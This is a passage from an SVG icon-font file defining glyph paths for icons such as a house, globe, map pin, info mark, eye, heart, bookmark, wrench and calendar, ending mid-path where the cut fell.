<glyph unicode="&#xe2c6;" d="M 403.634,117.734l-39.76,39.774L 363.874-50 c0-7.742-6.244-14-13.986-14l-41.958,0 l0,0l-13.986,0 
	c-7.742,0-13.986,6.258-13.986,14l0,27.986 l0,13.986 l0,41.986 l0,83.958 c0,7.742-6.258,14-14,14l-83.93,0 c-7.728,0-13.986-6.258-13.986-14l0-83.958 l0-55.972 l0-14 
	L 168.042-50 c0-7.742-6.272-14-13.986-14l-14,0 l0,0L 98.112-64 c-7.728,0-14,6.258-14,14L 84.112,157.508 l-39.76-39.774L0,162.114L 221.788,384L 224,381.788L 226.212,384
	l 109.69-109.746L 335.902,355.818 l 55.958,0 l0-137.55 L 448,162.114L 403.634,117.734z" data-tags="home, house" />
<glyph unicode="&#xe2c7;" d="M 224-64C 100.296-64,0,36.296,0,160C0,283.704, 100.296,384, 224,384c 123.704,0, 224-100.296, 224-224
	C 448,36.296, 347.704-64, 224-64z M 405.552,178.774c 0.364,0.182, 0.56,0.49, 0.7,0.98c 0.294-1.554, 1.008-2.926, 2.156-3.934
	c 0.028-0.14-0.042-0.112, 0.028-0.308c 0.112,0, 0.196,0.084, 0.294,0.084C 409.906,174.644, 411.362,174, 413,174c 2.52,0, 4.62,1.4, 5.852,3.374
	c 0.084-0.098, 0.224-0.224, 0.294-0.336c-0.014,0.224-0.042,0.448-0.070,0.672C 419.622,178.704, 420,179.796, 420,181
	c0,3.864-3.15,7-7,7c-2.464,0-4.508-1.344-5.768-3.248c-0.056,0.042,0,0.21-0.154,0.154
	c 0.182,0.532-0.308,1.89-1.078,3.346L 406,181 C 406,180.202, 405.776,179.488, 405.552,178.774z M 83.888,180.874c0,2.114-4.816,5.712-6.062,5.712
	c0,0.378-1.96,4.69-2.702,4.69c0,1.456-5.11,7.994-5.922,5.138c-0.532-1.848, 3.906-4.34, 3.906-6.482
	c 0.826,0, 4.298-6.58, 4.984-7.728c 7.588-12.824-5.67-4.060-5.67,1.372c-1.694,0.84-4.368,7.294-4.368,9.058
	c-0.994,0.798-3.934,7.028-3.696,7.028c0,4.088-2.254,6.048-6.734,6.048c-0.21,0.406-3.976,5.698-4.046,5.698
	c0,1.68-3.024,6.888-4.704,7.714c0,3.486-1.792,7.784-0.994,11.396c0,3.794-0.196,8.092-1.484,11.984C 34.706,217.4, 28,189.512, 28,160
	c0-84.574, 53.676-156.436, 128.744-183.918c 0.084,6.944, 0.602,15.26, 2.184,15.26c0,1.036, 0.882,5.376, 1.68,5.376c0,2.66, 0.322,5.866,0,9.058
	c-0.994,2.002, 1.316,4.564, 2.016,7.714c 3.878,1.946, 1.134,21.462, 4.060,21.462c0,9.758, 2.184,15.442, 0.658,24.486
	c 0.742,0-4.41,5.474-4.368,5.376c-4.942,0-8.4,7.924-8.4,11.396c-0.476,1.526-1.694,3.808-1.694,5.698
	c 1.134,0-7.070,11.984-7.070,11.746c-4.34,2.408, 0.238,5.768, 0.672,9.716c-3.766,1.246, 0.042,11.41, 1.68,11.41
	c 0.168,1.288, 0.84,2.17, 2.030,2.674c 0.84-3.346, 4.746,1.666, 1.68,1.666c0,2.212-0.252,6.944,0,8.050
	c0,3.416-3.024,10.108-5.376,3.024c-2.52,1.246-8.876,1.022-9.422,5.026c 0.392,1.974-3.626,6.006-5.040,6.706
	c 1.316,3.444-6.818,8.050-9.758,8.050c0,0.742-1.554,0.406-2.016,1.344c-2.996,0-3.682,4.032-7.070,4.032
	c-3.906,0-7.84,2.674-11.438,2.674c-1.204,2.394-6.79,1.456-8.078,4.032c-2.926,0-4.074,5.544-4.158,7.588
	C 89.39,172.166, 87.388,180.874, 83.888,180.874z M 367.472,293.224C 367.444,293.14, 367.5,293.196, 367.36,292.916c 0.21,0, 0.462-0.238, 0.7-0.336
	C 367.85,292.79, 367.668,293, 367.472,293.224z M 371.686,288.59c 0.49-0.952, 0.854-1.834, 0.742-2.38c 0.49-0.014, 0.728,0.252, 1.12,0.35
	C 372.946,287.246, 372.288,287.89, 371.686,288.59z M 383.852,224.806c 0.224,6.048-5.040,5.040-6.706,8.4c-1.736,0-2.366,1.344-4.718,1.344
	c-1.526,0.518-2.73,0.154-3.612-1.092c-3.598-1.372-1.428,1.75-4.13,1.75c 0.126,3.458-1.246,4.41-5.054,4.032
	c-2.184-4.928-5.544-7.882-5.040-13.426c 1.61-0.364, 1.33-0.728, 1.008-2.338c 2.142-0.112, 15.134,0.672, 15.134,2.016
	c 0.448,0, 2.702-4.634, 2.702-0.672c 1.806,0, 2.758-4.242, 7.070-3.010C 380.506,220.942, 387.702,224.806, 383.852,224.806z M 384.538,153.364
	c 0.252,1.232-0.616,1.778-1.344,3.024c 1.918,0-6.062,14.798-6.062,17.108c-1.218,0.602-2.772,4.83-3.052,6.37
	c-1.638,1.092-3.332,4.676-4.032,6.706c-1.666,1.106-5.726,6.062-6.384,8.386c 2.408-0.266, 6.048-0.756, 6.048,2.352
	c-1.624,0-1.862,2.002-0.322,2.002c-0.504,2.058, 1.092,3.542, 1.442,5.152c 0.42,1.946, 1.246,4.942, 1.246,7.266
	c-2.31,0-2.87-0.392-4.704-1.008c0-1.358-4.102,0.336-4.704,0.336c-0.882,1.764-7.28-2.296-9.072,1.344
	c-2.898,2.618-2.114,4.634-3.052,8.33c-0.476,1.876-3.038,1.988-4.592,2.296c-4.382,0.854-1.218-5.222-1.456-6.608
	c 2.688,0-1.694-3.332-1.694-5.026c-4.536,0.98-3.024,6.034-5.698,7.378c-0.798,1.344-0.168,2.352-2.030,2.352
	c0,1.792, 0.952,5.040-1.008,5.698c0,0.868-3.808,1.218-4.368,2.352c-2.408,0-8.008,9.1-9.73,6.034
	c-1.078-1.96, 0.91-2.436, 1.316-4.032c 3.486,0.686, 3.15-5.74, 7.406-5.026c0-0.896, 0.112-1.806, 0.322-2.688
	c 3.15,0.742, 2.786-2.338, 4.368-2.338c-1.148-1.526-4.788,2.436-3.794-0.896c 0.574-1.932, 0.252-3.584-2.254-5.474
	c0,2.086-0.168,7.714-2.352,7.714c-1.484,2.968-5.894,2.254-7.756,5.026c-1.512,0-2.1,4.704-4.704,5.026
	c-0.49-0.686-2.324-1.344-3.038-1.344c-1.414-2.842-9.408-0.294-9.408-0.672c-0.126-0.028-4.48-10.668-4.732-12.068
	c-0.49-3.010-2.912-3.066-3.64-5.922c-0.364-1.428-9.142-0.756-9.142-1.806c-3.794,1.26-7.070,3.92-7.070,8.050
	c-0.308,0, 0.714,10.542, 1.358,12.082c 0.77-0.21, 0.924-0.476, 1.358-1.344c 2.324,0.868, 7.742-0.574, 7.742,2.016
	c 2.254-0.056, 2.926-0.952, 2.016-2.688c 2.1-0.392, 5.726-0.924, 5.726,2.016c-1.232,0-1.358,0.112-1.358,1.344
	c 4.032,4.186-3.024,7.966-3.024,10.052c-1.428,0.476-4.34,3.57-2.268,2.408c 1.75-0.966, 8.148-2.968, 5.628,1.288
	c 0.168,0.056, 0.28,0.168, 0.322,0.322c 0.714-0.504, 3.724-3.598, 3.724-0.672c 0.826,0, 4.018,2.016, 1.344,2.016
	c 0.252,1.512, 0.196,2.772, 0.322,3.696c 4.27-2.296, 1.89,1.568, 4.046,3.010c0-2.786, 2.296,1.344, 3.696,1.344
	c 1.666,2.478, 5.474,0.56, 6.398,3.36c-2.058,0.672-1.68,5.824-1.68,7.7c 2.478-0.406, 5.236,3.346, 5.614,0.77
	c 0.14-0.994, 0.266-3.738, 0.77-4.116c 3.682-1.932, 2.702,1.106, 2.702,3.010c-1.232,0-2.87,4.312-3.038,6.384
	c-1.008-0.14-2.632-0.56-3.038-1.33c-3.668,0-6.16,1.33-9.072,1.33c-0.224,0.448-3.724,4.368-3.36,4.368
	c-2.044,3.514, 2.044,2.492, 2.688,2.66c0,3.332, 13.874,2.744, 14.476,8.064c-4.564,0, 4.704,7.728, 4.704,7.7
	c 3.094,2.646, 4.732,4.928, 8.582,5.222c 1.624,0.112, 19.684,5.096, 19.684,2.842c 0.728-0.028, 3.136-0.056, 5.628-0.14
	C 322.224,335.98, 275.506,356, 224,356c-49.882,0-95.284-18.788-129.878-49.49c 0.308-0.7, 0.546-1.372, 0.532-1.848
	C 96.488,304.788, 99.12,305.964, 99.708,303.64C 98.798,303.654, 97.888,303.766, 97.020,303.99c 0.644-5.194-2.268-2.016-4.704-2.016
	c0,0.126-1.078,0.56-2.226,0.868c-0.742-0.7-1.526-1.358-2.268-2.058C 87.906,300.56, 87.78,300.546, 87.92,300.294
	c 0.784,0, 0.378-1.218, 2.618-1.96C 93.128,297.452, 95.97,296.962, 98.7,296.528c 2.212-0.35, 3.486,0.406, 5.376,0.406
	c0,0.28, 4.62,2.338, 1.358,2.338c 0.448,1.848-0.378,2.31-2.366,2.338c 0.168,1.96, 4.83,0.672, 6.734,0.672
	c 1.456,2.45, 0.042,2.156, 1.33,4.382c 1.54,2.73, 3.374,0.364, 4.382,2.982C 117.040,309.086, 118.398,308.26, 118.888,306.328
	C 120.106,305.32, 126.294,296.192, 126.294,302.646C 128.506,301.904, 129.612,297.76, 129.654,295.59c 4.018,0.588, 4.368,3.598, 4.368,6.72
	c 0.924,0-0.336,1.498-0.336,2.016C 135.184,304.872, 137.060,302.898, 137.060,304.984c 0.644,0, 0.672-0.644, 0.672-1.344
	c 2.086-0.406, 3.43,0.238, 4.704-0.21c 0.882-0.308, 0.434-4.886, 0.028-6.496c-0.504-2.044-4.41-2.072-4.41-3.024
	c-4.424-3.304, 5.222-5.026, 6.734-7.042c-0.91,0-4.368,0.448-4.368,0.658c-2.184,0-7.476-2.31-9.422-0.658
	c 2.716,0, 3.626,3.262, 4.046,6.37c-2.506,0.938-5.46-0.602-6.16-3.094C 127.708,286.028, 124.978,290.312, 123.606,287.54
	C 123.074,287.372, 118.216,285.118, 118.216,285.874c-5.46-0.77-4.032-5.404-4.032-10.402C 116.354,274.17, 120.764,270.46, 120.568,268.43
	C 125.468,267.562, 127.26,267.044, 131.67,266.414c 0.364-0.714, 1.82-1.386, 2.702-1.666c0-2.884, 2.618-2.366, 5.040-2.366
	c0,3.682, 4.284-3.066, 4.704-4.354c-0.588,0, 1.008-3.766, 1.344-5.040c-0.672,0.238-0.882,0-0.672-0.672
	c 2.128-0.784, 5.502-0.56, 6.062,1.68c-2.044,0-1.358,2.338-1.358,3.696c-2.1,1.4-1.778,4.102, 0.336,4.69
	c0-1.904, 6.93,1.19, 3.024,2.674c 0.952,2.142, 1.596,5.432, 0.042,7.294c-0.994,1.176-2.24,0-2.73,1.764
	c 2.646,0.658, 0.7,5.698, 0.672,8.050c 0.84,0.322, 3.024-0.532, 3.024,0c 2.59,0, 6.902-3.276, 8.414,0.686
	c 4.326-1.974, 0.882-3.85, 5.39-2.352c0-1.064, 5.082-6.034, 5.726-6.034c0-0.238-0.126-1.68, 0.994-1.68
	c0-1.078-0.672,0.616-0.672-1.33c 0.63-0.070, 4.046-0.686, 4.046,0.658c 2.17,0, 3.696,2.66, 3.696,4.69
	c 1.358,0.882, 3.738-7.378, 5.376-7.378c 1.204-1.876, 5.054-4.606, 5.054-6.37c 0.812-0.826, 1.666-0.602, 1.666-3.024
	c 1.022,0, 3.038,4.018, 3.038,0.336c 0.952,0, 3.724-2.044, 4.046-3.682c-2.422,0-0.126-2.352-1.372-2.352
	c0-2.324-5.194-0.476-6.37-0.336c-1.61-7.21-11.326-2.030-17.206-3.892c-3.094-0.98-9.072-7.798-9.394-11.2
	c 3.752-0.042, 5.404,3.248, 8.75,4.368c 2.73,0, 3.262,1.652, 5.726,2.338c0-0.686, 0.672-0.322, 0.672-1.008
	c-4.788,0-1.876-3.094-0.476-5.348c 0.868-1.4, 1.862-2.072, 2.968-2.506c-0.462-0.812-0.84-1.624-1.134-2.534
	c0-0.014-0.014,0-0.014-0.014c-0.91-0.308-2.688-0.966-3.038-1.68c-5.418-0.602-2.744-0.238-2.38,1.064
	c 0.196-0.462, 2.142-0.042, 2.058-0.056c-0.322,1.624-0.812,1.4-0.336,2.338c-2.94,0-4.368-1.344-6.734-1.344
	c-0.392-0.798-2.45-2.688-3.36-2.688c-0.686-2.072-2.24-5.838-4.046-7.042c0,0.546-4.788-3.010-4.368-3.010
	c-1.064-1.722-2.226-1.666-2.702-4.354c-0.322-0.168-1.68-4.662-1.68-5.362c-2.086-1.386-2.856-7.042-6.398-7.042
	c-2.17-4.312-6.062-3.738-6.062-9.394c 1.316-1.344, 1.82-7.294, 2.226-9.198c 0.504-2.366, 1.288-4.83-1.876-4.886
	c-0.224,0.35-2.436,3.696-2.030,3.696c0,1.386-1.694,5.824-2.688,7.21c-1.33,1.862-3.794-0.294-5.726,0.518
	c-0.826,1.652-6.412,2.016-8.4,2.016c 0.322-1.246, 1.232-1.638, 1.344-3.024c-1.652-0.672-2.604-1.428-4.312-1.19
	c-2.926,0.406-2.576,2.688-5.796,2.366c-5.152-0.518-8.75-4.788-8.75-9.898c-0.574,0-0.574-10.066,0-10.066
	c0-2.842, 2.352-4.9, 2.352-7.042c 2.282,0, 4.844-5.026, 7.070-5.026c 0.252-1.778-1.12-2.058, 2.688-2.030
	c0,0.196, 2.072,1.302, 2.352,2.688c-2.632,0.644-0.014,4.032, 1.68,4.69c0-2.394, 3.36,0.798, 3.36,1.008
	c 0.378,0.154, 3.71,1.344, 3.71,1.344c0,2.716, 2.534-0.266, 0.672-1.344c-1.82,0-1.68-3.024-2.688-3.024
	c-0.434-2.156-1.288-4.032-1.792-6.132c-0.644-2.59, 1.456-2.856, 0.784-5.278c 2.674-0.504, 5.376-0.014, 8.078,0
	c 0.014,0.476-0.084,0.938-0.336,1.344c 3.906,0, 0.336-7.378, 2.702-7.378c0-2.786, 1.344-4.956, 1.344-6.706
	c 1.82-1.204, 2.912-2.814, 2.352-5.026c 2.24-0.294, 7.056-0.868, 7.056,2.016c 3.402,0, 3.64-2.31, 3.388-4.69
	c 6.776,0, 2.534,6.706, 5.362,6.706c 0.266,1.106, 0.728,1.302, 1.386,0.574c 1.386-0.742, 2.436,1.386, 3.542,2.058
	c 0.35,0.238, 1.582,0.952, 1.806,0.952c 0.952-0.574, 1.036-0.406, 1.456-1.050c 1.848,0.014, 3.71,1.050, 5.292,2.142
	c 2.422-0.294, 1.638-5.502, 6.174-5.824c 1.82-0.126, 6.034-0.63, 7.602,0.448c 0.392,0.266, 1.834-0.91, 1.988-1.414
	c 1.512,0, 1.4-1.316, 2.044-1.288c 0.154-0.294, 0.378-0.406, 0.686-0.322c 0.196-0.574, 1.4-0.742, 2.030-2.338
	c0-1.456, 3.024-1.708, 3.024-2.674c 2.17-1.092-0.742-1.386, 2.59-2.394c 1.834-0.574, 3.528-1.498, 5.502-1.638
	c 0.63,2.394, 2.674-0.322, 3.71-0.322c 0.532-1.092, 0.812-0.266, 1.33-1.344c 3.122-2.604, 1.064-1.596, 2.352-4.368
	c 1.498-0.98, 1.974-4.396, 2.38-6.37c-1.204,0-0.35-4.606-0.35-5.040c-1.456,0, 3.724-2.758, 3.724,0.686
	c 2.128-0.35, 3.528-2.674, 5.040-2.674c-0.882-2.030, 2.352-3.556, 2.352-0.35c 3.192-0.322, 2.338-5.082, 2.030-6.706
	c 2.366,0, 3.052,1.316, 5.068,1.568C 232.806,102.992, 235.242,104, 238,104c 7.742,0, 14-6.258, 14-14c0-6.972-5.194-12.502-11.872-13.566
	c-0.896-1.022-1.708-1.904-1.764-1.904c0-0.672-0.154-7.364-0.35-7.364c0-1.344-1.022-8.722-2.016-8.722
	c0-3.794-2.478-4.48-3.36-8.050c-2.044-1.512-7.574-4.032-8.428-5.698c-1.582,0-2.758-1.344-4.368-1.344
	c-0.224-0.462-3.654-3.696-3.038-3.696c-0.252-2.38, 0.182-7.98-1.106-9.548c-0.868-1.036-2.114-0.924-1.568-2.548
	c-1.89,0, 0.112-1.344-2.87-1.344c-1.876,0-5.222-2.674-5.32-4.942c-0.126-2.772-0.868-4.774-3.248-6.468
	c0-0.952-4.368-1.232-4.368-3.696c 0.406,0,0-4.564,0-5.026c-1.302,0.042-4.494-1.26-5.040-2.338c-4.396,0-3.864-0.448-6.72-2.352
	c0-0.588-0.406-2.674-1.008-2.674c0-3.402-2.422-0.308-4.382-2.030c 0.77,0, 1.75-3.346, 1.344-3.346
	c0-2.954-1.834-3.206-3.696-5.376c-0.882-0.588-1.722-3.024-2.352-3.024c0-1.988-0.994-3.794-0.994-5.698
	c 0.42,0, 0.028-0.854, 0.322-1.652c 0.938,0.266, 0.966,1.33, 1.344,1.33c0,1.68, 2.674-0.994, 1.008-0.994
	c-1.386-2.1-2.884-2.142-3.71-5.040c-0.84,0-1.568-0.812-2.184-1.764C 188.748-33.368, 206.052-36, 224-36
	c 68.936,0, 129.444,35.672, 164.388,89.502c 0.21,4.956, 0.98,9.688, 1.526,11.326c 1.372-1.008, 2.394-2.898, 3.36,0
	c-2.422,0.476-1.834,1.316-1.008,3.346c 0.924-0.56, 2.786-1.246, 4.298-1.148c 0.462,0.868, 0.826,1.792, 1.288,2.66
	c-1.372,1.064, 0.518,3.822, 1.176,2.478c 0.35,0.672, 0.658,1.372, 0.98,2.044c-0.154,0.042-0.112-0.056-0.336,0.014
	c0,1.218, 0.224,1.064, 1.022,1.68c 0.014-0.126,0-0.126, 0.028-0.238C 412.944,101.242, 420,129.76, 420,160c0,0.994-0.14,1.946-0.154,2.94
	c-0.364-1.372-1.050-2.856-2.016-3.192c0-0.882-10.010-5.236-9.408-7.042c-1.764,0-7.952-1.764-9.086-4.018
	c-1.246,0-6.272-1.778-6.734-2.688C 386.358,145.986, 387.548,153.364, 384.538,153.364z M 413,230l-7.434,0 
	c-0.056,0.070-0.112,0.084-0.168,0.182c-0.378,0-1.96,3.556-1.344,4.368c 0.602,0, 0.882-0.056, 1.204-0.084
	c-0.63,1.54-1.316,3.052-2.002,4.578c-1.512-1.036-2.842-2.352-4.928-2.478c0-0.574-2.982-6.37,0-6.37
	c0-0.112, 0.056-0.196, 0.084-0.294C 394.842,229.566, 392,226.654, 392,223c0-3.864, 3.136-7, 7-7l 2.758,0 
	c 0.168-1.274, 0.854-2.38, 3.304-2.926c 0.77-3.234, 6.538-4.382, 7.406-0.994c-2.436,0-1.638,2.338-1.428,3.92L 413,216 
	c 3.85,0, 7,3.136, 7,7C 420,226.864, 416.85,230, 413,230z M 392.602,138.972c 0.49-0.028, 3.724,0.056, 3.724,0.63
	c 2.926,0, 6.888,0.406, 9.758,1.358c0-4.34-3.654-6.762-3.038-11.074c-2.422,0-1.358-2.492-1.358-3.346
	c-1.568-0.966-1.806-2.73-3.696-3.696c0-1.946-4.368-5.166-5.656-6.832c-1.456-1.862-5.838-5.096-6.412-7.462
	c 0.154,0.56-8.008-8.498-6.104-8.498c0-1.694-2.296-15.092, 0.672-15.092c0-1.176, 2.534-12.418, 0.994-12.418
	c0-3.612-2.352-5.824-2.352-8.708c-1.148-0.784-2.786-1.218-3.36-2.366c-2.058,0-3.052-4.368-4.032-4.368
	c0-4.662-1.358-8.12-1.358-13.412c 0.378,0-2.688-7.546-2.688-8.036c-2.478-1.666-8.75-7.644-8.75-10.752c0,0-4.368-6.132-5.040-7.042
	c-1.316,0-11.452-1.904-11.452-2.688c-2.156,0-7.728-1.694-9.072,0.336c0,2.128-1.162,4.83-1.344,7.728
	c-1.036,0-1.204,4.354-2.352,4.354c0,0.924-6.426,13.762-5.39,13.762c0,1.33-1.148,5.698-1.344,5.698c0,4.62-3.374,8.47-3.374,12.74
	c-0.994,0-3.052,9.38-2.016,9.38c0,4.928, 1.722,8.148, 2.436,13.622c 0.798,6.006-0.378,9.66-1.428,13.902
	c-0.574,0-2.506,3.206-2.702,4.018c-2.702,1.792-3.696,5.348-3.696,8.708c 1.764,2.016, 2.464,9.59, 2.030,12.082
	c-3.402,1.61-4.76,1.008-8.428,1.008c-2.17,4.354-16.744,1.666-20.874,1.666c0-2.38-10.15,0.462-11.102,2.352
	c-2.478,0-7.392,5.264-7.392,7.714c-2.716,1.806-7.056,10.794-7.056,13.748c-2.352,1.176-1.638,5.712-0.35,5.712
	c 0.322,1.26-0.826,5.236-1.372,7.126c-0.406,1.414, 1.372,2.94, 1.372,4.62c0,4.676, 0.112,6.832, 2.73,11.83
	c 0.826,1.568, 1.876,3.038, 2.646,4.998c 1.4,3.514, 1.82,0.168, 3.71,3.304c 1.806,0.896, 2.856,3.892, 4.718,5.362
	c 0.812,1.078, 0.84,1.526,0,2.352c 0.364,0, 2.352,5.166, 2.352,6.356c 2.632,3.654, 0.77,1.988, 3.36,1.68
	c 0.952,1.036, 2.534,3.696, 4.032,3.696c 0.658,1.302, 2.31,2.016, 3.71,2.016c0-2.016, 5.488,0.658, 6.062,0.658
	c 0.938,1.89, 6.986,4.032, 8.414,4.032c0,2.296, 11.928-0.644, 13.804-0.336c0,0.336,0,0.672,0,1.008c 2.548-0.602, 7.196-10.822, 6.72-13.090
	c 1.96,0, 3.78,0.322, 5.054,0c0-2.17, 4.088-2.702, 5.95-2.8c 2.59-0.126, 10.192,0.266, 10.192,3.808c 2.002,0, 3.78-1.4, 3.388-3.682
	c 2.268-0.252, 15.75-0.518, 14.798-3.346c 1.974,0, 2.478-3.374, 4.368-3.374c-0.378-2.324, 2.352-8.386, 4.368-8.386
	c0-2.016, 1.26-5.726, 3.038-7.028c 0.952-2.884, 4.102-8.96, 7.056-10.738c-1.26-2.38, 1.918-4.34, 2.702-6.706
	c-0.182,0, 0.686-3.514, 1.666-4.032c0-2.38, 5.012-12.082, 7.756-12.082C 391.776,139.77, 389.018,139.238, 392.602,138.972z M 319.928,214.082
	c 0.518,2.002, 1.694,0.448, 2.786,0.084c 2.59-0.84, 1.694,0.042, 3.612,0.91C 326.326,209.616, 323.19,213.76, 319.928,214.082z
	 M 312.844,224.148c 1.372,0, 1.75-6.16-2.016-5.026c0,1.526-0.966,4.354, 1.022,4.354C 312.424,221.096, 312.844,222.062, 312.844,224.148z
	 M 311.178,228.166c 1.554-0.672, 2.24-0.448, 2.016,0.672c 2.044-0.672-0.266-2.128-0.672-3.696
	C 311.472,226.178, 311.794,226.542, 311.178,228.166z M 275.156,258.028c-3.304,0.854, 3.402,1.834, 3.696,2.674c-1.12,0-1.89,1.162-1.456,2.142
	c 0.504,1.162, 1.33-1.386, 2.478-0.812c 1.358,0.14, 4.032,2.17, 2.66-1.75c-1.4-3.976-2.674-6.888-7.714-6.958
	C 273.014,255.144, 274.75,256.096, 275.156,258.028z M 287.616,271.776c 2.716,0, 0.336-2.016-0.266-2.016c 0.462-0.182-0.084-1.806-0.084-2.338
	c 2.52,0.028, 2.562,1.568, 4.368,2.016c-0.378-2.254-2.898-2.688-0.434-4.62c 1.302-1.022, 2.632-2.226, 2.114-3.78
	c 3.206,0, 3.682-3.080, 3.024-6.706c 1.778,0, 1.694-0.084, 1.694,1.694c 1.722-0.476, 1.596-2.030,0-2.030
	c-1.596-3.15-5.782-3.010-8.75-3.010c-0.028,2.436-0.49,2.59-2.744,1.904c-3.080-0.938-0.672,2.45-0.616,4.13
	c 0.336,0, 6.986-0.308, 3.024,1.008c-0.21,3.612-1.022,4.69-4.368,4.69c0,2.464-0.868,2.282-1.274,4.984
	C 282.73,271.692, 286.426,267.422, 287.616,271.776z M 286.594,249.978c0-0.826-1.68-1.484-2.016-0.322c 0.322-0.112, 0.448,0, 0.322,0.322
	C 285.474,249.978, 286.048,249.978, 286.594,249.978z M 259,286l-14,0 C 241.136,286, 238,289.136, 238,293C 238,296.864, 241.136,300, 245,300l 14,0 
	C 262.864,300, 266,296.864, 266,293C 266,289.136, 262.864,286, 259,286z M 177.436,162.1c 0.784,0, 1.694-0.308, 1.694-1.008
	C 178.108,161.092, 176.792,160.126, 177.436,162.1z M 164.668,161.414c-0.56-1.064-5.096-0.882-5.726,0.35c 1.68,0, 2.982-0.686, 4.704,0
	c0,0.924-0.77,1.666-1.344,2.674c 1.834,0, 3.892-1.4, 6.398-1.344c0,1.554-0.686-0.336,0,1.68c 1.050-0.266, 3.584-2.674, 3.696-3.682
	C 168.714,161.484, 168.546,161.414, 164.668,161.414z M 149.856,169.464c-1.722,0-5.040,1.498-6.062,3.024c 1.666-0.070, 3.318-0.756, 4.368,1.008
	c 4.27-0.434, 4.648-3.374, 8.078-3.374c 0.644-1.134, 4.312-3.738, 0.77-4.074C 154.336,165.796, 150.976,167.252, 149.856,169.464z
	 M 152.544,160.070c-1.246,0-3.304-0.546-2.352,2.030C 151.844,161.876, 152.628,161.19, 152.544,160.070z M 154.896,160.406
	c-0.672-0.112-1.344-0.224-2.016-0.336C 153.076,161.624, 154.546,163.36, 154.896,160.406z M 167.342,145.664
	c-0.266-0.938-0.224-0.994-1.33-0.994c 0.112,0.434, 0.21,0.868, 0.322,1.33C 166.684,145.888, 167.006,145.776, 167.342,145.664z
	 M 137.060,173.496c 0.322-0.112, 0.672-0.238, 1.008-0.336c 0.434-1.666, 1.344-0.84, 2.352-0.336C 140.42,170.878, 135.912,170.318, 137.060,173.496z" data-tags="earth, globe" />
<glyph unicode="&#xe2c8;" d="M 223.132-64C 223.132-64, 84,132.868, 84,216.868C 84,382.25, 223.132,384, 223.132,384
	S 364,382.25, 364,217.75C 364,131.132, 223.132-64, 223.132-64z M 224,300c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56S 254.926,300, 224,300z" data-tags="location, map marker, marker, pin" />
<glyph unicode="&#xe2c9;" d="M 224,384C 100.282,384,0,283.704,0,160c0-123.704, 100.282-224, 224-224s 224,100.296, 224,224
	C 448,283.704, 347.718,384, 224,384z M 224,300c 15.456,0, 28-12.544, 28-28s-12.544-28-28-28s-28,12.544-28,28S 208.544,300, 224,300z M 154,48l 42,28l 28,0 l0,112 l-28,0 l-14,28l 70,0 l0-28 l0-112 l 28,0 l 42-28
	L 154,48 z" data-tags="info" />
<glyph unicode="&#xe2ca;" d="M 224,300C 100.282,300,0,160,0,160s 100.282-140, 224-140s 224,140, 224,140S 347.718,300, 224,300z M 224,76
			c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382,76, 224,76z M 224,216c-30.926,0-56-25.074-56-56s 25.074-56, 56-56s 56,25.074, 56,56
			S 254.926,216, 224,216z" data-tags="eye, views" />
<glyph unicode="&#xe2cb;" d="M 322,356c-33.656,0-60.634-12.082-84.42-35.882c-0.014-0.014-0.028-0.028-0.042-0.042
	l-0.014,0L 224,303.038L 210.476,319.040c-0.014,0.014-0.028,0.028-0.042,0.042L 210.42,319.082 l0,0C 186.62,342.896, 159.656,356, 126,356S 60.704,342.896, 36.904,319.096
	C 13.118,295.296,0,263.656,0,230c0-33.628, 13.090-65.268, 36.862-89.054L 204.12-27.712C 209.37-33.018, 216.538-36, 224-36s 14.63,2.982, 19.88,8.288
	l 167.244,168.658C 434.896,164.732, 448,196.358, 448,230c0,33.656-13.118,65.296-36.904,89.096C 387.296,342.896, 355.656,356, 322,356L 322,356z" data-tags="heart, love, favorite, like" />
<glyph unicode="&#xe2cc;" d="M 406-64L 112-64 L 112,384 l 140,0 l0-252 l 42,56l 28,0 l 42-56L 364,384 l 42,0 c 7.742,0, 14-6.272, 14-14l0-420 C 420-57.742, 413.742-64, 406-64
	z M 28-50L 28,370 c0,7.728, 6.258,14, 14,14l 42,0 l0-448 L 42-64 C 34.258-64, 28-57.742, 28-50z" data-tags="bookmark, favorite" />
<glyph unicode="&#xe2cd;" d="M 349.748,247.948c 5.222-5.222, 13.692-5.222, 18.9,0l 73.962,58.226
	c 12.306-38.696, 3.612-82.628-27.090-113.33c-29.288-29.302-70.644-38.528-107.996-28.672l-87.724-87.724c 9.856-37.366, 0.616-78.708-28.658-107.996
	c-30.702-30.702-74.648-39.396-113.344-27.090l 58.254,73.948c 5.222,5.236, 5.222,13.692,0,18.914l-37.8,37.786c-5.222,5.222-13.692,5.222-18.9,0
	l-73.962-58.226c-12.306,38.696-3.612,82.614, 27.076,113.316c 29.302,29.302, 70.644,38.542, 108.010,28.672l 87.738,87.738
	c-9.87,37.352-0.63,78.708, 28.644,107.996c 30.702,30.702, 74.648,39.396, 113.358,27.104l-58.254-73.976c-5.208-5.208-5.208-13.678,0-18.886
	L 349.748,247.948z" data-tags="wrench, settings, options, preferences" />
<glyph unicode="&#xe2ce;" d="M 168.672,146.546c-2.492-3.598-5.53-12.614-9.128-14.826c-3.598-2.198-7.658-3.738-12.166-4.592
	c-4.522-0.868-9.198-1.246-14.028-1.106l0-21.378 l 34.538,0 L 167.888,20 l 27.874,0 l0,139.944 l-22.176,0 C 172.802,154.61, 171.164,150.144, 168.672,146.546z M 322,272l 28,0 
	c 7.742,0, 14,6.272, 14,14L 364,370 c0,7.728-6.258,14-14,14l-28,0 c-7.742,0-14-6.272-14-14l0-84 C 308,278.272, 314.258,272, 322,272z M 98,272l 28,0 c 7.728,0, 14,6.272, 14,14L 140,370 
	c0,7.728-6.272,14-14,14L 98,384 C 90.272,384, 84,377.728, 84,370l0-84 C 84,278.272, 90.272,272, 98,272z M 420,328l-28,0 l0-70 c0-7.728-6.258-14-14-14l-84,0 c-7.742,0-14,6.272-14,14L 280,328 l-112,0 l0-70 
	c0-7.728-6.272-14-14-14L 70,244 c-7.728,0-14,6.272-14,14L 56,328 L 28,328 C 12.544,328,0,315.456,0,300l0-336 c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 
	C 448,315.456, 435.456,328, 420,328z M 420-22c0-7.742-6.258-14-14-14L 42-36 c-7.728,0-14,6.258-14,14L 28,202 c0,7.728, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.272, 14-14L 420-22 z
	 M 223.79,132.252l 69.552,0 c-13.104-16.128-23.646-32.55-31.71-51.87c-8.050-19.334-8.932-39.452-10.486-60.368l 29.834,0 
